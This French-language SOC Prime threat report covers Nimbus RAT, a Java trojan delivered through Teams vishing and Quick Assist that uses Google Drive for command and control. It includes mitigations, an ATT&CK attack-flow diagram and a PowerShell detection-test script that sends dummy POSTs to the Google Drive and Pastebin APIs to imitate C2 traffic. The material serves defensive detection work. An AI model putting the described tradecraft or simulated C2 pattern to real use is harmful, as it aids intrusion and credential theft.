SOC Prime Bias: Moyen

05 Jun 2026 15:31 UTC

Nouveau RAT Nimbus Distribué via Microsoft Teams et Google Drive

Author Photo
SOC Prime Team linkedin icon Suivre
Nouveau RAT Nimbus Distribué via Microsoft Teams et Google Drive
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Des acteurs malveillants ont utilisé le phishing vocal via Microsoft Teams et Quick Assist pour déployer un cheval de Troie d’accès à distance basé sur Java connu sous le nom de Nimbus RAT. Le logiciel malveillant utilise Google Drive et Google Sheets comme ses canaux de commande et contrôle et inclut sa propre version intégrée de l’environnement d’exécution OpenJDK. Pour le vol de données d’identification, il utilise soit une fausse invite de sécurité Windows, soit l’API native CredUI pour capturer les informations secrètes de l’utilisateur.

Enquête

L’unité de réponse aux menaces d’eSentire a reconstruit la chaîne d’intrusion complète à l’aide des journaux de flux de courrier, de la télémétrie des terminaux et de l’analyse statique du malware Java. La campagne combinait bombardements d’emails, un appel de phishing vocal basé sur Teams, une assistance distante Quick Assist, une feuille d’instructions hébergée sur Pastebin, et un locataire SharePoint compromis utilisé pour distribuer la charge utile.

Mitigation

Les défenses recommandées incluent la désactivation des messages externes de Teams provenant de locataires inconnus, le blocage de Quick Assist là où il n’est pas requis, l’alerte sur les pics d’activité de bombardement d’emails, la surveillance javaw.exe de l’exécution depuis des emplacements inhabituels et la détection des appels suspects à l’API Google Drive initiés par des processus inattendus.

Réponse

Si une activité de Nimbus RAT est détectée, isolez le système affecté, terminez tous les javaw.exe processus associés, supprimez le répertoire C:ProgramDataInboxCorePro et tous les raccourcis de démarrage associés, et envisagez une réimagerie complète du système. Consultez également les journaux d’audit de Google Workspace pour identifier toute autorisation d’application Google Drive non autorisée.

graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Nœuds – Actions action_phishing[« <b>Action</b> – <b>T1566.003 Hameçonnage : spearphishing via service</b><br/>Campagne de bombardement d’e-mails envoyant des messages de confirmation d’abonnement préparant un appel de vishing ultérieur sur Microsoft Teams »] class action_phishing action action_trusted_rel[« <b>Action</b> – <b>T1199 Relation de confiance</b><br/>L’attaquant crée un tenant Microsoft 365 jetable ou compromet un tenant légitime afin d’envoyer des messages Teams externes semblant fiables »] class action_trusted_rel action action_user_exec_file[« <b>Action</b> – <b>T1204.002 Exécution utilisateur : fichier malveillant</b><br/>La victime est guidée via Pastebin pour télécharger un ZIP depuis un SharePoint compromis et exécuter un fichier JAR via javaw.exe »] class action_user_exec_file action action_user_exec_copy[« <b>Action</b> – <b>T1204.004 Exécution utilisateur : copier-coller malveillant</b><br/>L’attaquant insère l’URL Pastebin dans le chat Teams, incitant l’utilisateur à visiter le site »] class action_user_exec_copy action action_persistence[« <b>Action</b> – <b>T1547.001 Exécution automatique au démarrage/connexion</b><br/>La persistance est obtenue via l’import d’un fichier .reg et l’ajout d’un raccourci dans le dossier Startup lançant le RAT Java »] class action_persistence action action_credential_harvest[« <b>Action</b> – <b>T1056.002 Capture d’entrées : interface graphique</b><br/>Nimbus RAT affiche une fausse fenêtre Java Swing et une invite Windows CredUI pour voler les identifiants »] class action_credential_harvest action action_c2[« <b>Action</b> – <b>T1102.002 Service Web : communication bidirectionnelle</b><br/>Commande et contrôle via Google Drive avec compte de service ou OAuth2 et fichiers de polling chiffrés »] class action_c2 action action_exfil[« <b>Action</b> – <b>T1567.002 Exfiltration via service Web</b><br/>Les données collectées (captures d’écran, fichiers) sont envoyées dans le même dossier Google Drive utilisé pour le C2 »] class action_exfil action action_network_disc[« <b>Action</b> – <b>T1016 Découverte de la configuration réseau</b><br/>Le RAT exécute des commandes comme ipconfig /all pour collecter des informations réseau »] class action_network_disc action %% Outils / Malware / Processus / Fichiers tool_email_bomb[« <b>Outil</b> – Nom : script de bombardement d’e-mails »] class tool_email_bomb tool tool_teams[« <b>Outil</b> – Nom : Microsoft Teams (vishing) »] class tool_teams tool tool_sharepoint[« <b>Outil</b> – Nom : site SharePoint compromis »] class tool_sharepoint tool malware_nimbus[« <b>Malware</b> – Nom : Nimbus RAT (Java) »] class malware_nimbus malware file_jar[« <b>Fichier</b> – Nom : InboxCorePro.jar (payload Java) »] class file_jar data process_javaw[« <b>Processus</b> – Nom : javaw.exe (exécution du JAR) »] class process_javaw process file_reg[« <b>Fichier</b> – Nom : importation de registre .reg »] class file_reg data file_startup[« <b>Fichier</b> – Nom : raccourci dans le dossier Startup »] class file_startup data service_gdrive[« <b>Service</b> – Nom : Google Drive (C2 et exfiltration) »] class service_gdrive data process_ipconfig[« <b>Processus</b> – Commande : ipconfig /all »] class process_ipconfig process %% Connexions action_phishing –>|utilise| tool_email_bomb action_phishing –>|conduit_à| action_trusted_rel action_trusted_rel –>|utilise| tool_teams action_trusted_rel –>|livre| action_user_exec_copy action_user_exec_copy –>|fournit_lien_vers| action_user_exec_file action_user_exec_file –>|télécharge_depuis| tool_sharepoint action_user_exec_file –>|exécute| file_jar file_jar –>|exécuté_par| process_javaw process_javaw –>|lance| malware_nimbus malware_nimbus –>|crée| action_persistence action_persistence –>|importe| file_reg action_persistence –>|place| file_startup malware_nimbus –>|collecte| action_credential_harvest malware_nimbus –>|communique_avec| service_gdrive service_gdrive –>|supporte| action_c2 service_gdrive –>|supporte| action_exfil malware_nimbus –>|exécute| action_network_disc action_network_disc –>|exécute_commande| process_ipconfig

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôleur de télémétrie et de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer une télémétrie exactement attendue par la logique de détection.

  • Narration de l’attaque et commandes :
    L’acteur malveillant a déjà compromis le point final avec le binaire du Nimbus RAT. Pour établir un canal C2 secret, le RAT émet deux requêtes POST HTTP sortantes :

    1. Appel de l’API Google Drive – télécharge une petite charge utile JSON vers https://www.googleapis.com/drive/v3/files?uploadType=media, imitant le comportement de « téléchargement-payload » du RAT.
    2. Colle Pastebin – publie une chaîne de commande encodée en base-64 vers https://pastebin.com/api/api_post.php en utilisant la clé API publique.

    Les deux requêtes sont exécutées via Invoke-WebRequest de PowerShell pour s’assurer que les journaux de pare-feu contiennent le champ de domaine (googleapis.com and pastebin.com). L’attaquant exécute les commandes sous le contexte de l’utilisateur compromis pour se fondre dans l’activité normale.

  • Script de test de régression :

    # --------------------------------------------------------------
    # Simulation C2 de Nimbus RAT – déclenche la règle Sigma sur la correspondance de domaine
    # --------------------------------------------------------------
    
    # 1. Téléchargement factice de l'API Google Drive (sans authentification – se concentre sur la télémétrie de domaine)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Envoyé un téléchargement factice à l'API Google Drive"
    } catch {
        Write-Warning "Requête Google Drive échouée (prévu dans le sandbox): $_"
    }
    
    # 2. Post public de l'API Pastebin (nécessite une clé développeur – utilisation d'un espace réservé)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- remplacez par une clé valide pour un vrai test
    $pastebinText  = "echo 'Commande simulée depuis C2'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Posté une commande factice sur Pastebin"
    } catch {
        Write-Warning "Requête Pastebin échouée (prévu dans le sandbox): $_"
    }
    
    # --------------------------------------------------------------
    # Fin de la simulation
    # --------------------------------------------------------------
  • Commandes de nettoyage :

    # Supprimez tous les fichiers temporaires ou les variables utilisés pendant la simulation
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] Nettoyage terminé."